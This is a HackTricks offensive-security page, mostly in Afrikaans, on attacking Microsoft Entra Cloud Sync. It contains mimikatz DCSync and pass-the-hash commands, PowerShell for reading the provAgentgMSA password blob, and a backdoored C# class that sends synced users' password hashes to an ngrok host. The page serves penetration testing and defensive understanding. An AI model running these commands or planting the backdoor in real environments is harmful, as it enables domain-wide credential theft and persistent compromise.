# Az - Cloud Sync

{{#include ../../../banners/hacktricks-training.md}}


## Basiese Inligting

**Cloud Sync** is basies die nuwe manier van Azure om **gebruikers vanaf AD na Entra ID te sinkroniseer**.

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is a new offering from Microsoft designed to meet and accomplish your hybrid identity goals for synchronization of users, groups, and contacts to Microsoft Entra ID. It accomplishes this by using the Microsoft Entra cloud provisioning agent instead of the Microsoft Entra Connect application. However, it can be used alongside Microsoft Entra Connect Sync.

### Geskepte principals

Om dit te laat werk word sekere principals in beide Entra ID en die on-premise directory geskep:

- In Entra ID word die gebruiker `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) geskep met die rol **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).

> [!WARNING]
> This role used to have a lot of privileged permissions and it could be used to [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). However, Microsoft decided to remove all the privileges of this role and assign it just a new one **`microsoft.directory/onPremisesSynchronization/standard/read`** which doesn't really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP).

- In Entra ID word ook die groep **`AAD DC Administrators`** geskep sonder lede of eienaars. Hierdie groep is nuttig as [`Microsoft Entra Domain Services`](./az-domain-services.md) gebruik word.

- In die AD word óf die Service Account **`provAgentgMSA`** geskep met 'n SamAcountName soos **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), of 'n pasgemaakte een met [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Gewoonlik word die standaard een geskep.

> [!WARNING]
> Onder ander toestemmings het die Service Account **`provAgentgMSA`** DCSync-permissies, wat toelaat dat **enigeen wat dit kompromitteer die hele directory kan kompromitteer**. Vir meer inligting about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).

> [!NOTE]
> Volgens verstek word gebruikers van bekende bevoorregte groepe soos Domain Admins met die attribuut **`adminCount` to 1 are not synchronized** nie met Entra ID gesinkroniseer om sekuriteitsredes nie. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly **kan gesinkroniseer word**.

## Wagwoord-sinkronisering

The section is very similar to the one from:

{{#ref}}
az-connect-sync.md
{{#endref}}

- **Password hash synchronization** kan geaktiveer word sodat gebruikers **login into Entra ID using their passwords from AD**. Verder, wanneer 'n wagwoord in AD verander word, sal dit in Entra ID opgedateer word.
- **Password writeback** kan ook geaktiveer word, wat gebruikers toelaat om hul wagwoord in Entra ID te verander en dit outomaties in die on-premise domain te sinkroniseer. Maar volgens die [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), hiervoor is dit nodig om die Connect Agent te gebruik, so kyk na die [Az Connect Sync section](./az-connect-sync.md) vir meer inligting.
- **Groups writeback**: Hierdie funksie laat groepslidmaatskappe van Entra ID toe om teruggesinkroniseer te word na die on-premises AD. Dit beteken dat as 'n gebruiker by 'n groep in Entra ID gevoeg word, hulle ook by die ooreenstemmende groep in AD bygevoeg sal word.

## Pivoting

### AD --> Entra ID

- As die AD-gebruikers vanaf AD na Entra ID gesinkroniseer word, is pivoting van AD na Entra ID reguit — net **kompromiseer 'n gebruiker se wagwoord of verander 'n gebruiker se wagwoord of skep 'n nuwe gebruiker en wag totdat dit in die Entra ID directory gesinkroniseer is (gewoonlik net 'n paar minute)**.

Dus kan jy byvoorbeeld:
- Kompromiseer die **`provAgentgMSA`** account, voer 'n DCSync attack uit, kraak die wagwoord van 'n gebruiker en gebruik dit daarna om in te log in Entra ID.
- Skep net 'n nuwe gebruiker in die AD, wag totdat dit na Entra ID gesinkroniseer is en gebruik dit om in te log in Entra ID.
- Wysig die wagwoord van 'n gebruiker in die AD, wag totdat dit na Entra ID gesinkroniseer is en gebruik dit om in te log in Entra ID.

Om die **`provAgentgMSA`** credentials te kompromitteer:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
Nou kan jy die hash van die gMSA gebruik om 'n Pass-the-Hash-aanval teen Entra ID uit te voer met die `provAgentgMSA`-rekening en persistentie handhaaf, sodat jy DCSync-aanvalle teen die AD kan uitvoer.

For more information about how to compromise an Active Directory check:

{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
{{#endref}}

> [!NOTE]
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users some **Entra ID groups from AD** might be given permissions so the synced users inside those groups also receive them or **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}

Met betrekking tot persistentie stel [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) voor dat dit moontlik is om [**dnSpy**](https://github.com/dnSpy/dnSpy) te gebruik om die dll **`Microsoft.Online.Passwordsynchronisation.dll`** te backdoor wat geleë is in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** en wat deur die Cloud Sync agent gebruik word om die password synchronization uit te voer, en sodoende die password hashes van die gesinkroniseerde gebruikers na 'n remote server te exfiltrate. Die hashes word gegenereer binne die klas **`PasswordHashGenerator`** en die blog post stel voor om kode by te voeg sodat die klas soos volg lyk (let op die `use System.Net` en die `WebClient` usage om die password hashes te exfiltrate):
```csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
```
### Entra ID --> AD

- As **Password Writeback** aangeskakel is, kan jy die wagwoord van sekere gebruikers in Entra ID wysig en, as jy toegang tot die AD-netwerk het, daarmee verbind. Vir meer inligting sien die [Az Connect Sync section](./az-connect-sync.md) aangesien die password writeback met daardie agent gekonfigureer word.

- Op hierdie stadium ondersteun Cloud Sync ook **"Microsoft Entra ID to AD"**, maar na 'n rukkie het ek gevind dat dit NIE EntraID-gebruikers na AD kan sinkroniseer nie en dat dit slegs gebruikers vanaf EntraID kan sinkroniseer wat met die password hash gesinkroniseer is en wat van 'n domain kom wat tot dieselfde domain forest as die domain waarna ons sinkroniseer behoort, soos jy kan lees in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):

> - Hierdie groepe kan slegs on-premises-gesinkroniseerde gebruikers en/of addisionele cloud-geskepte security groups bevat.
> - Die on-premises gebruikersrekeninge wat gesinkroniseer is en lede van hierdie cloud-geskepte security group is, kan van dieselfde domain of cross-domain wees, maar almal moet uit dieselfde forest kom.

Daarom is die attack surface (en bruikbaarheid) van hierdie diens grootliks verminder, aangesien 'n aanvaller die aanvanklike AD waarvandaan die gebruikers gesinkroniseer word moet compromise om 'n gebruiker in die ander domain te compromise (en blykbaar moet albei in dieselfde forest wees).


### Enumerasie
```bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```
{{#include ../../../banners/hacktricks-training.md}}
